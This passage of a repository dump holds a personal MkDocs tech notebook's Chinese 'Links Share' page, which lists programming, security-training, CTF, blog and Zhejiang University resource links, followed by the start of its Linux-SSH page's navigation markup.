</li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    开发类\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    安全技能\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    安全资讯\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    个人博客\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#zju\" class=\"md-nav__link\">\n    ZJU\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    服务提供商\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    非技术文章\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    结语\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"links-share\">Links Share<a class=\"headerlink\" href=\"#links-share\" title=\"Permanent link\">&para;</a></h1>\n<p>分享一些hacker相关的链接, 包含开发、安全、CTF</p>\n<p>觉得没事干？ 不如来逛逛这些地方吧：</p>\n<h2 id=\"_1\">开发类<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"https://github.com/vhf/free-programming-books/blob/master/free-programming-books-zh.md#web%E6%9C%8D%E5%8A%A1%E5%99%A8\">Free Programming Books</a> &ndash; github.com/vhf/free-programming-books &ndash; 编程相关的书籍</p>\n<p><a href=\"https://mp.weixin.qq.com/s/nCx7Jb5WRXGzkpsuth6LAw\">码农翻身微信文章</a> &ndash; mp.weixin.qq.com/s/nCx7Jb5WRXGzkpsuth6LAw</p>\n<p><a href=\"https://www.v2ex.com/\">V2EX</a> &ndash; www.v2ex.com</p>\n<p><a href=\"http://www.tuicool.com/\">推酷</a> &ndash; tuicool.com</p>\n<p><a href=\"https://juejin.im/\">掘金</a> &ndash; juejin.im</p>\n<p><a href=\"https://www.patest.cn/contests\">PAT</a> &ndash; patest.cn &ndash; 类似的还有<a href=\"http://acm.zju.edu.cn\">ZOJ</a>, Leetcode等</p>\n<h2 id=\"_2\">安全技能<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"http://blog.knownsec.com/Knownsec_RD_Checklist/\">知道创宇研发技能表</a> &ndash; blog.knownsec.com</p>\n<p><a href=\"https://www.ichunqiu.com/\">i春秋</a> &ndash; ichunqiu.com</p>\n<p><a href=\"http://www.hetianlab.com/\">合天</a> &ndash; hetianlab.com</p>\n<p><a href=\"https://www.shiyanlou.com/\">实验楼</a> &ndash; shiyanlou.com</p>\n<p><a href=\"http://www.loner.fm/bugs/\">乌云漏洞库镜像</a> &ndash; loner.fm</p>\n<p><a href=\"https://pwnhub.cn/index\">pwnhub</a> &ndash; pwnhub.cn</p>\n<p><a href=\"http://pwnable.kr/\">pwnable</a> &ndash; pwnable.kr</p>\n<p><a href=\"https://www.jarvisoj.com/\">Jarvis OJ</a> &ndash; jarvisoj.com</p>\n<p><a href=\"http://dnsbllookup.com/\">dnsbllookup</a> &ndash; dnsbllookup.com 查询ip是否在黑名单中 其中有两个已经域名过期总是返回Listed</p>\n<h2 id=\"_3\">安全资讯<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"http://www.freebuf.com/\">FreeBuf</a> &ndash; www.freebuf.com</p>\n<p><a href=\"http://bobao.360.cn/\">安全客</a> &ndash; bobao.360.cn</p>\n<p><a href=\"https://bugs.chromium.org\">bugs.chromium.org</a></p>\n<h2 id=\"_4\">个人博客<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h2>\n<p>按字母顺序排序</p>\n<p><a href=\"https://z.codes/\">Aploium Blog</a> &ndash; z.codes</p>\n<p><a href=\"http://aqua.hk.cn/\">Aqua&rsquo;s Blog</a> &ndash; aqua.hk.cn</p>\n<p><a href=\"http://www.bystudent.com/\">ByStudent</a> &ndash; bystudent.com</p>\n<p><a href=\"http://www.firesun.me/\">火日小站</a> &ndash; www.firesun.me</p>\n<p><a href=\"http://www.lovekira.cn/\">free to play - Kira</a> &ndash; lovekira.cn</p>\n<p><a href=\"https://www.jarviswang.me/\">Jarvis&rsquo;s Blog</a> &ndash; jarviswang.me</p>\n<p><a href=\"http://www.leadroyal.cn/\">LeadroyaL&rsquo;s website</a> &ndash; www.leadroyal.cn</p>\n<p><a href=\"https://www.melodia.pw/\">Melody有奥妙</a> &ndash; melodia.pw</p>\n<p><a href=\"https://py3.io\">notebook</a> &ndash; py3.io</p>\n<p><a href=\"http://www.qsboy.com/\">qsboy.com</a> &ndash; qsboy.com</p>\n<p><a href=\"https://sakura.moe/\">樱桃园</a> &ndash; sakura.moe</p>\n<p><a href=\"http://bestwing.me/\">Swing&rsquo;Blog</a> &ndash; bestwing.me &ndash; 努力是为了 站在万人中央 成为别人的光</p>\n<p><a href=\"https://www.ycjcl.cc/\">信鑫-King&rsquo;s Blog</a> &ndash; ycjcl.cc</p>\n<p><a href=\"https://850.world\">850&rsquo;s Blog</a> &ndash; 850.world</p>\n<h2 id=\"zju\">ZJU<a class=\"headerlink\" href=\"#zju\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"https://github.com/QSCTech/zju-icicles\">浙江大学课程攻略共享计划</a> &ndash; github.com/QSCTech/zju-icicles</p>\n<p><a href=\"http://www.nexushd.org\">NexusHD</a> &ndash; nexushd.org &ndash; 内网pt站点，高清资源</p>\n<p><a href=\"https://www.cc98.org\">CC98</a> &ndash; cc98.org &ndash; cc98是支持https的噢</p>\n<p><a href=\"https://pan.zju.edu.cn\">浙大云盘</a> &ndash; pan.zju.edu.cn</p>\n<p><a href=\"https://box.zjuqsc.com/\">求是潮Box</a> &ndash; box.zjuqsc.com</p>\n<p><a href=\"http://10.202.78.12\">教务网内网网址</a> &ndash; 10.202.78.12</p>\n<p><a href=\"https://jw.zjuqsc.com\">教务网的反向代理</a> &ndash; jw.zjuqsc.com</p>\n<p><a href=\"http://mirrors.zju.edu.cn/\">开源镜像站</a> &ndash; mirrors.zju.edu.cn</p>\n<p><a href=\"https://ckcsu.com/studyfiles\">竺院学生会.学习资料</a> &ndash; ckcsu.com</p>\n<p><a href=\"http://www.ioffershow.com/index/\">校招薪水</a> &ndash; ioffershow.com</p>\n<h2 id=\"_5\">服务提供商<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"http://www.diyvm.com/\">香港VPS</a> &ndash; diyvm.com</p>\n<p><a href=\"https://www.qcloud.com/act/campus\">腾讯云学生优惠</a> &ndash; qcloud.com</p>\n<p><a href=\"https://www.alidayu.com/\">短信验证码 阿里大于</a> &ndash; alidayu.com</p>\n<p><a href=\"https://coding.net/\">私有代码托管</a> &ndash; coding.net &ndash; 访问速度优于github</p>\n<h2 id=\"_6\">非技术文章<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"https://dudu.zhihu.com/story/9287423\">如何准备技术简历</a></p>\n<p><a href=\"http://open.leancloud.cn/tech-interview-guide.html\">技术面试指南</a></p>\n<p><a href=\"http://jinxuliang.com/blog/Article/Read/a9ec9d6d-5fa8-4c17-bb14-16363714e11a\">“他山之石，可以攻玉”——你的大学，怎样过？</a></p>\n<p><a href=\"https://mp.weixin.qq.com/s?__biz=MjM5NTU0MTAzNQ==&amp;mid=206164343&amp;idx=3&amp;sn=ff699c7d7f9d1609d387581abec745ae&amp;scene=5\">“带着手机上自习，八小时做一道题”</a></p>\n<hr />\n<h2 id=\"_7\">结语<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<p>代码不能当饭吃，代码不能当水喝，代码也不能给谁生孩子。</p>\n</blockquote>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Linux-SSH/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Linux-setup/\">\n      \n      \n        <link rel=\"next\" href=\"../Linux-cli/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Linux-SSH - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#ssh\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Linux-SSH\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  